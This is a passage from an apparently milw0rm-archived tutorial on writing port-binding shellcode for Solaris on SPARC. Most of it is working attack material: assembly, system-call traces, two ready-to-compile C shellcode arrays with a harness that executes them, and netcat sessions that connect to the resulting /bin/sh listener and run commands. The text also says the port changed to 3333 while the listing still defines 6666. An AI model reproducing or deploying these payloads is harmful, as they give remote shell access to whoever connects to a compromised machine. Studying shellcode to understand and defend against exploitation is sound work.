         portbind2.s:27     .text:0000000000000000 _start

NO UNDEFINED SYMBOLS

entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind2.o -o portbind2

entropy@solaris {/export/home/entropy/asm} truss portbind2

so_socket(PF_INET, SOCK_STREAM, IPPROTO_TCP, "", SOV_DEFAULT) = 3
bind(3, 0xFFBFFD20, 16, SOV_STREAM)             = 0
listen(3, 1, SOV_DEFAULT)                       = 0
accept(3, 0xFFBFFD10, 0xFFBFFD0C, SOV_DEFAULT) (sleeping...)

On the other host:

entropy@phalaris {~} perl -e '$|++;while (<>){print . "\n\x00";}'|nc 192.168.1.149 6666
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
id
uid=500(entropy) gid=100(entropy)
pwd
/export/home/entropy/asm
exit

Back on the first our close's and fcntl's.

accept(3, 0xFFBFFD10, 0xFFBFFD0C, SOV_DEFAULT)  = 4
close(0)                                        = 0
fcntl(4, F_DUPFD, 0x00000000)                   = 0
close(1)                                        = 0
fcntl(4, F_DUPFD, 0x00000001)                   = 1
close(2)                                        = 0
fcntl(4, F_DUPFD, 0x00000002)                   = 2
execve("/bin/sh", 0xFFBFFD28, 0x00000000)  argc = 1

And finally the shell code...

  29 0000 9A1A4009         xor %o1, %o1, %o5
  31 0004 90102002         mov PF_INET, %o0          ! mov PF_INET(2) into %o0
  32 0008 92102002         mov SOCK_STREAM, %o1      ! mov SOCK_STREAM(2) into %o1
  33 000c 94102006         mov IPPROTO_TCP, %o2      ! mov IPPROTO_TCP(6) into %o2
  34 0010 961A4009         xor %o1, %o1, %o3         ! xor %o3 to 0
  35 0014 98222001         sub %o0, 1, %o4           ! sub %o4 to 1 (%o0 is 2)
  36 0018 821020E6         mov SYS_SOCKET, %g1       ! move system call socket(230) into %g1
  37 001c 91D02008         ta KERNEL                 ! call socket
  38 0020 A01B4008         xor %o5, %o0, %l0         ! save sock in %l0
  41 0024 A21A4009         xor %o1, %o1, %l1         ! mov INADDR_ANY(0) to %l1
  42 0028 E223BFF4         st  %l1, [%sp - 0xc]      ! store 4 bytes of %l1 at %sp - 12
  43 002c A2102D05         mov 3333, %l1             ! set the high bits of %l1
  44 0030 A2046D05         add 3333, %l1, %l1         ! set the lo bits of %l1 to our port
  45 0034 E233BFF2         sth %l1, [%sp - 0xe]      ! store half 2 bytes at %sp - 14
  46 0038 A2102002         mov AF_INET, %l1          ! mov AF_INET(2) to %l1
  47 003c E233BFF0         sth %l1, [%sp - 0x10]     ! store half 2 bytes to %sp - 16
  49 0040 901B4010         xor %o5, %l0, %o0         ! mov the sock to %o0
  50 0044 9223A010         sub %sp, 0x10, %o1        ! put the start of the sockaddr_in in %o1
  51 0048 94102010         mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  52 004c 821020E8         mov SYS_BIND, %g1         ! mov SYS_BIND(232) into %g1
  53 0050 91D02008         ta KERNEL                 ! call kernel
  55 0054 901B4010         xor %o5, %l0, %o0         ! mov the sock into %o0
  56 0058 921B400C         xor %o5, %o4, %o1         ! backlog 1
  57 005c 941B400C         xor %o5, %o4, %o2         ! extra SOV_DEFAULT
  58 0060 821020E9         mov SYS_LISTEN, %g1       ! mov SYS_LISTEN(233) into %g1
  59 0064 91D02008         ta KERNEL                 ! call kernel
  63 0068 A2102010         mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
  64 006c E223BFDC         st %l1, [%sp - 0x24]      ! which is sockaddr_in*2 + sizeof address
  66 0070 901B4010         xor %o5, %l0, %o0         ! mov the sock into %o0
  67 0074 9223A020         sub %sp, 0x20, %o1        ! sub 32 from %sp to make room for the client sockaddr_in
  68 0078 9423A024         sub %sp, 0x24, %o2        ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
  69 007c 961B400C         xor %o5, %o4, %o3         ! put SOV_DEFAULT(1) in %o3
  70 0080 821020EA         mov SYS_ACCEPT, %g1       ! mov SYS_ACCEPT(234) into %g1
  71 0084 91D02008         ta KERNEL                 ! call kernel
  72 0088 A41B4008         xor %o5, %o0, %l2         ! save client sock into %l2
  74 008c 901A4009         xor %o1, %o1, %o0         ! set %o0 to 0
  75 0090 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  76 0094 91D02008         ta KERNEL                 ! call kernel
  78 0098 901B4012         xor %o5, %l2, %o0         ! move client sock into %o0
  79 009c 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
  80 00a0 941A4009         xor %o1, %o1, %o2         ! xor %o2 to 0
  81 00a4 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
  82 00a8 91D02008         ta KERNEL                 ! call kernel
  84 00ac 901B400C         xor %o5, %o4, %o0         ! set %o0 to 1 (%o4 is still 1)
  85 00b0 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  86 00b4 91D02008         ta KERNEL                 ! call kernel
  88 00b8 901B4012         xor %o5, %l2, %o0         ! move client sock into %o0
  89 00bc 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
  90 00c0 941B400C         xor %o5, %o4, %o2         ! and %o2 to 1
  91 00c4 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
  92 00c8 91D02008         ta KERNEL                 ! call kernel
  94 00cc 9402800A         add %o2, %o2, %o2         ! set %o0 to 1
  95 00d0 901B400A         xor %o5, %o2, %o0         ! add %o0 to %0
  96 00d4 82102006         mov SYS_CLOSE, %g1        ! mov SYS_CLOSE(6) to %g1
  97 00d8 91D02008         ta KERNEL                 ! call kernel
  99 00dc 901B4012         xor %o5, %l2, %o0         ! move client sock into %o0
 100 00e0 921A4009         xor %o1, %o1, %o1         ! xor %o1 to 0
 101 00e4 941B400C         xor %o5, %o4, %o2         ! and %o2 to 1
 102 00e8 9402800A         add %o2, %o2, %o2         ! add %o2 to %o2
 103 00ec 8210203E         mov SYS_FCNTL, %g1        ! mov SYS_FCNTL(62) into %g1
 104 00f0 91D02008         ta KERNEL                 ! call kernel
 107 00f4 210BD89A         sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
 108 00f8 A014216E         or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
 109 00fc 230BDCDA         sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
 110 0100 E03BBFF0         std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
 111 0104 9023A010         sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
 112 0108 D023BFF8         st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
 113 010c 9223A008         sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
 114 0110 941A800A         xor %o2, %o2, %o2          ! set %o2 to null (third arg)
 115 0114 8210203B         mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1
 116 0118 91D02008         ta KERNEL                  ! call kernel
 118 011c 901A4009         xor %o1, %o1, %o0
 119 0120 82102001         mov SYS_EXIT, %g1
 120 0124 91D02008         ta KERNEL

entropy@solaris {/export/home/entropy/asm} cat non-optimized.c
char shellcode[] =
"\x9A\x1A\x40\x09"  /* xor %o1, %o1, %o5          */
"\x90\x10\x20\x02"  /* mov PF_INET, %o0           */
"\x92\x10\x20\x02"  /* mov SOCK_STREAM, %o1       */
"\x94\x10\x20\x06"  /* mov IPPROTO_TCP, %o2       */
"\x96\x1A\x40\x09"  /* xor %o1, %o1, %o3          */
"\x98\x22\x20\x01"  /* sub %o0, 1, %o4            */
"\x82\x10\x20\xE6"  /* mov SYS_SOCKET, %g1        */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\xA0\x1B\x40\x08"  /* xor %o5, %o0, %l0          */
"\xA2\x1A\x40\x09"  /* xor %o1, %o1, %l1          */
"\xE2\x23\xBF\xF4"  /* st  %l1, [%sp - 0xc]       */
"\xA2\x10\x2D\x05"  /* mov 3333, %l1              */
"\xA2\x04\x6D\x05"  /* add 3333, %l1, %l1         */
"\xE2\x33\xBF\xF2"  /* sth %l1, [%sp - 0xe]       */
"\xA2\x10\x20\x02"  /* mov AF_INET, %l1           */
"\xE2\x33\xBF\xF0"  /* sth %l1, [%sp - 0x10]      */
"\x90\x1B\x40\x10"  /* xor %o5, %l0, %o0          */
"\x92\x23\xA0\x10"  /* sub %sp, 0x10, %o1         */
"\x94\x10\x20\x10"  /* mov SOCKADDR_IN_SIZE, %o2  */
"\x82\x10\x20\xE8"  /* mov SYS_BIND, %g1          */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x90\x1B\x40\x10"  /* xor %o5, %l0, %o0          */
"\x92\x1B\x40\x0C"  /* xor %o5, %o4, %o1          */
"\x94\x1B\x40\x0C"  /* xor %o5, %o4, %o2          */
"\x82\x10\x20\xE9"  /* mov SYS_LISTEN, %g1        */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\xA2\x10\x20\x10"  /* mov SOCKADDR_IN_SIZE, %l1  */
"\xE2\x23\xBF\xDC"  /* st %l1, [%sp - 0x24]       */
"\x90\x1B\x40\x10"  /* xor %o5, %l0, %o0          */
"\x92\x23\xA0\x20"  /* sub %sp, 0x20, %o1         */
"\x94\x23\xA0\x24"  /* sub %sp, 0x24, %o2         */
"\x96\x1B\x40\x0C"  /* xor %o5, %o4, %o3          */
"\x82\x10\x20\xEA"  /* mov SYS_ACCEPT, %g1        */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\xA4\x1B\x40\x08"  /* xor %o5, %o0, %l2          */
"\x90\x1A\x40\x09"  /* xor %o1, %o1, %o0          */
"\x82\x10\x20\x06"  /* mov SYS_CLOSE, %g1         */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x90\x1B\x40\x12"  /* xor %o5, %l2, %o0          */
"\x92\x1A\x40\x09"  /* xor %o1, %o1, %o1          */
"\x94\x1A\x40\x09"  /* xor %o1, %o1, %o2          */
"\x82\x10\x20\x3E"  /* mov SYS_FCNTL, %g1         */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x90\x1B\x40\x0C"  /* xor %o5, %o4, %o0          */
"\x82\x10\x20\x06"  /* mov SYS_CLOSE, %g1         */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x90\x1B\x40\x12"  /* xor %o5, %l2, %o0          */
"\x92\x1A\x40\x09"  /* xor %o1, %o1, %o1          */
"\x94\x1B\x40\x0C"  /* xor %o5, %o4, %o2          */
"\x82\x10\x20\x3E"  /* mov SYS_FCNTL, %g1         */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x94\x02\x80\x0A"  /* add %o2, %o2, %o2          */
"\x90\x1B\x40\x0A"  /* xor %o5, %o2, %o0          */
"\x82\x10\x20\x06"  /* mov SYS_CLOSE, %g1         */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x90\x1B\x40\x12"  /* xor %o5, %l2, %o0          */
"\x92\x1A\x40\x09"  /* xor %o1, %o1, %o1          */
"\x94\x1B\x40\x0C"  /* xor %o5, %o4, %o2          */
"\x94\x02\x80\x0A"  /* add %o2, %o2, %o2          */
"\x82\x10\x20\x3E"  /* mov SYS_FCNTL, %g1         */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x21\x0B\xD8\x9A"  /* sethi %hi(0x2f626900), %l0 */
"\xA0\x14\x21\x6E"  /* or %l0, %lo(0x16e), %l0    */
"\x23\x0B\xDC\xDA"  /* sethi %hi(0x2f736800), %l1 */
"\xE0\x3B\xBF\xF0"  /* std %l0, [%sp - 0x10]      */
"\x90\x23\xA0\x10"  /* sub %sp, 0x10, %o0         */
"\xD0\x23\xBF\xF8"  /* st  %o0, [%sp - 0x8]       */
"\x92\x23\xA0\x08"  /* sub %sp, 0x8, %o1          */
"\x94\x1A\x80\x0A"  /* xor %o2, %o2, %o2          */
"\x82\x10\x20\x3B"  /* mov SYS_EXECVE, %g1        */
"\x91\xD0\x20\x08"  /* ta KERNEL                  */
"\x90\x1A\x40\x09"  /* xor %o1, %o1, %o0          */
"\x82\x10\x20\x01"  /* mov SYS_EXIT, %g1          */
"\x91\xD0\x20\x08"; /* ta KERNEL                  */

int
main (int argc, char **argv)
{
        int (*ret)();              /* ret is a function pointer */
        ret = (int(*)())shellcode; /* ret points to our shellcode */
                                   /* shellcode is type caste as a function */
        (int)(*ret)();             /* execute, as a function, shellcode[] */
        exit(0);                   /* exit() */
}

entropy@solaris {/export/home/entropy/asm} gcc non-optimized.c -o non-optimized
entropy@solaris {/export/home/entropy/asm} ./non-optimized

entropy@phalaris {~} perl -e '$|++;while (<>){print . "\n\x00";}'|nc solaris 6666
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
pwd
/export/home/entropy/asm
id
uid=500(entropy) gid=100(entropy)
exit

After going back and doing a bit of optimization I came up with below, the only 
major change is that the port is now 3333 instead of 6666.

entropy@solaris {/export/home/entropy/asm} cat portbind3.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_FCNTL, 62
.equ SYS_SETREUID, 202
.equ SYS_CLOSE, 6
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:
   xor %o1, %o1, %o5          ! xor %o5 to 0
   mov PF_INET, %o0           ! mov PF_INET(2) into %o0
   mov SOCK_STREAM, %o1       ! mov SOCK_STREAM(2) into %o1
   mov IPPROTO_TCP, %o2       ! mov IPPROTO_TCP(6) into %o2
   xor %o1, %o1, %o3          ! xor %o3 to 0
   sub %o0, 1, %o4            ! sub 1 from %o2 (%o0 is 2) into %o4 (SOV_DEFAULT)
   mov SYS_SOCKET, %g1        ! mov SYS_SOCKET(230) into %g1
   ta KERNEL                  ! call kernel; %o0 = 2, %o1 = 2, %o2 = 6, %o3 = 0, %o4 = 1
   xor %o5, %o0, %l0          ! xor sock in %l0
   st  %g0, [%sp - 0xc]       ! store 4 bytes of %g0(0) into %sp - 12
   mov 3333, %l1              ! set %l1 (the port) to 3333
   sth %l1, [%sp - 0xe]       ! store half 2 bytes at %sp - 14
   mov AF_INET, %l1           ! mov AF_INET(2) to %l1
   sth %l1, [%sp - 0x10]      ! store half 2 bytes to %sp - 16
   sub %sp, 0x10, %o1         ! put the start of the sockaddr_in in %o1
   mov SOCKADDR_IN_SIZE, %o2  ! mov the sockaddr_in size to %o2
   mov SYS_BIND, %g1          ! mov SYS_BIND(232) into %g1
   ta KERNEL                  ! call kernel
   xor %o5, %l0, %o0          ! xor the sock into %o0
   xor %o5, %o4, %o1          ! backlog 1 (%o4 is 1 from above)
   xor %o5, %o4, %o2          ! SOV_DEFAULT(1) into %o2
   mov SYS_LISTEN, %g1        ! mov SYS_LISTEN(233) into %g1
   ta KERNEL                  ! call kernel
   mov SOCKADDR_IN_SIZE, %l1  ! store the sockaddr_in size at 16*2+4
   st %l1, [%sp - 0x24]       ! which is sockaddr_in*2 + sizeof address
   xor %o5, %l0, %o0          ! xor the sock in %l0 into %o0
   sub %sp, 0x20, %o1         ! sub 32 from %sp to make room for the client sockaddr_in
   sub %sp, 0x24, %o2         ! sub 36 from %sp [%sp-0x24](&SOCKADDR_IN_SIZE) into %o2
   xor %o5, %o4, %o3          ! xor SOV_DEFAULT(1) in %o3
   mov SYS_ACCEPT, %g1        ! mov SYS_ACCEPT(234) into %g1
   ta KERNEL                  ! call kernel
   xor %o5, %o0, %l2          ! save client sock into %l2
   xor %o5, %o4, %o0          ! set %o0 to 1 (%o4 is still 1)
   mov SYS_CLOSE, %g1         ! mov SYS_CLOSE(6) to %g1
   ta KERNEL                  ! call kernel; %o0 = 1
   ta KERNEL                  ! call kernel; %o0 = 0 (return value of last close())
   xor %o5, %o4, %o2          ! xor %o4 (still 1) into %o2
   add %o2, %o2, %o2          ! add %o2 to %o2
   xor %o5, %o2, %o0          ! xor %o0 to 2
   ta KERNEL                  ! call kernel; %o0 = 2
   xor %o1, %o1, %o1          ! xor %o1 to 0
   xor %o5, %l2, %o0          ! xor client sock into %o0
   mov SYS_FCNTL, %g1         ! mov SYS_FCNTL(62) into %g1
   ta KERNEL                  ! call kernel; %o0 = sock, %o1 = 0, %o2 = 2 from above
   xor %o5, %l2, %o0          ! xor client sock into %o0
   xor %o1, %o1, %o2          ! xor %o2 to 0
   ta KERNEL                  ! call kernel; %o0 = sock, %o1 = 0, %o2 = 0
   xor %o5, %o4, %o2          ! xor %o2 to 1; %o4 (still 1)
   xor %o5, %l2, %o0          ! xor client sock into %o0
   ta KERNEL                  ! call kernel, %o0 = sock, %o1 = 0, %o2 = 1
   sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
   or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string
   sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
   std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10
   sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0 (first arg)
   st  %o0, [%sp - 0x8]       ! store the address of the string address into %sp - 0x8
   sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1 (second arg)
   xor %o2, %o2, %o2          ! set %o2 to null (third arg)
   mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1

And the shellcode for that comes out too...

entropy@solaris {/export/home/entropy/asm} cat optimized.c
char shellcode[]=
"\x9A\x1A\x40\x09" /* xor %o1, %o1, %o5          ! xor %o5 to 0                              */
"\x90\x10\x20\x02" /* mov PF_INET, %o0           ! mov PF_INET(2) into %o0                   */
"\x92\x10\x20\x02" /* mov SOCK_STREAM, %o1       ! mov SOCK_STREAM(2) into %o1               */
"\x94\x10\x20\x06" /* mov IPPROTO_TCP, %o2       ! mov IPPROTO_TCP(6) into %o2               */
"\x96\x1A\x40\x09" /* xor %o1, %o1, %o3          ! xor %o3 to 0                              */
"\x98\x22\x20\x01" /* sub %o0, 1, %o4            ! sub 1 from %o2 into %o4                   */
"\x82\x10\x20\xE6" /* mov SYS_SOCKET, %g1        ! mov SYS_SOCKET(230) into %g1              */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel;                              */
"\xA0\x1B\x40\x08" /* xor %o5, %o0, %l0          ! xor sock in %l0                           */
"\xC0\x23\xBF\xF4" /* st  %g0, [%sp - 0xc]       ! store 4 bytes of %g0(0) into %sp - 12     */
"\xA2\x10\x2D\x05" /* mov 3333, %l1              ! set %l1 (the port) to 3333                */
"\xE2\x33\xBF\xF2" /* sth %l1, [%sp - 0xe]       ! store half 2 bytes at %sp - 14            */
"\xA2\x10\x20\x02" /* mov AF_INET, %l1           ! mov AF_INET(2) to %l1                     */
"\xE2\x33\xBF\xF0" /* sth %l1, [%sp - 0x10]      ! store half 2 bytes to %sp - 16            */
"\x92\x23\xA0\x10" /* sub %sp, 0x10, %o1         ! put the start of the sockaddr_in in %o1   */
"\x94\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %o2  ! mov the sockaddr_in size to %o2           */
"\x82\x10\x20\xE8" /* mov SYS_BIND, %g1          ! mov SYS_BIND(232) into %g1                */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel                               */
"\x90\x1B\x40\x10" /* xor %o5, %l0, %o0          ! xor the sock into %o0                     */
"\x92\x1B\x40\x0C" /* xor %o5, %o4, %o1          ! backlog 1 (%o4 is 1 from above)           */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2          ! SOV_DEFAULT(1) into %o2                   */
"\x82\x10\x20\xE9" /* mov SYS_LISTEN, %g1        ! mov SYS_LISTEN(233) into %g1              */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel                               */
"\xA2\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %l1  ! store the sockaddr_in size at 16*2+4      */
"\xE2\x23\xBF\xDC" /* st %l1, [%sp - 0x24]       ! which is sockaddr_in*2 + sizeof address   */
"\x90\x1B\x40\x10" /* xor %o5, %l0, %o0          ! xor the sock in %l0 into %o0              */
"\x92\x23\xA0\x20" /* sub %sp, 0x20, %o1         ! sub 32 - %sp  room for client sockaddr_in */
"\x94\x23\xA0\x24" /* sub %sp, 0x24, %o2         ! sub 36 - %sp 0x24+addr into %o2           */
"\x96\x1B\x40\x0C" /* xor %o5, %o4, %o3          ! xor SOV_DEFAULT(1) in %o3                 */
"\x82\x10\x20\xEA" /* mov SYS_ACCEPT, %g1        ! mov SYS_ACCEPT(234) into %g1              */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel                               */
"\xA4\x1B\x40\x08" /* xor %o5, %o0, %l2          ! save client sock into %l2                 */
"\x90\x1B\x40\x0C" /* xor %o5, %o4, %o0          ! set %o0 to 1 (%o4 is still 1)             */
"\x82\x10\x20\x06" /* mov SYS_CLOSE, %g1         ! mov SYS_CLOSE(6) to %g1                   */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel; %o0 = 1                      */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel; %o0 = 0 ret val prev close   */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2          ! xor %o4 (still 1) into %o2                */
"\x94\x02\x80\x0A" /* add %o2, %o2, %o2          ! add %o2 to %o2                            */
"\x90\x1B\x40\x0A" /* xor %o5, %o2, %o0          ! xor %o0 to 2                              */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel; %o0 = 2                      */
"\x92\x1A\x40\x09" /* xor %o1, %o1, %o1          ! xor %o1 to 0                              */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0          ! xor client sock into %o0                  */
"\x82\x10\x20\x3E" /* mov SYS_FCNTL, %g1         ! mov SYS_FCNTL(62) into %g1                */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel; %o0 = sock, %o1 = 0, %o2 = 2 */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0          ! xor client sock into %o0                  */
"\x94\x1A\x40\x09" /* xor %o1, %o1, %o2          ! xor %o2 to 0                              */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel; %o0 = sock, %o1 = 0, %o2 = 0 */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2          ! xor %o2 to 1; %o4 (still 1)               */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0          ! xor client sock into %o0                  */
"\x91\xD0\x20\x08" /* ta KERNEL                  ! call kernel, %o0 = sock, %o1 = 0, %o2 = 1 */
"\x21\x0B\xD8\x9A" /* sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string    */
"\xA0\x14\x21\x6E" /* or %l0, %lo(0x16e), %l0    ! set the low bits of %l0 to the string     */
"\x23\x0B\xDC\xDA" /* sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string    */
"\xE0\x3B\xBF\xF0" /* std %l0, [%sp - 0x10]      ! store the string address into %sp - 0x10  */
"\x90\x23\xA0\x10" /* sub %sp, 0x10, %o0         ! sub 0x10 from %sp and store it in %o0     */
"\xD0\x23\xBF\xF8" /* st  %o0, [%sp - 0x8]       ! st the addr of the str addr into %sp-0x8  */
"\x92\x23\xA0\x08" /* sub %sp, 0x8, %o1          ! sub 0x8 from %sp and store it in %o1      */
"\x94\x1A\x80\x0A" /* xor %o2, %o2, %o2          ! set %o2 to null                           */
"\x82\x10\x20\x3B" /* mov SYS_EXECVE, %g1        ! move SYS_EXECVE(59) into %g1              */
"\x91\xD0\x20\x08"; /* ta KERNEL                 ! call kernel                               */

int
main (int argc, char **argv)
{
        int (*ret)();              /* ret is a function pointer */
        ret = (int(*)())shellcode; /* ret points to our shellcode */
                                   /* shellcode is type caste as a function */
        (int)(*ret)();             /* execute, as a function, shellcode[] */
        exit(0);                   /* exit() */
}


---[ References

 [1] http://blogs.sun.com/roller/page/gavinm?entry=sparc_system_calls
 [2] http://www.cs.unm.edu/~maccabe/classes/341/labman/node2.html

# milw0rm.com [2006-04-08]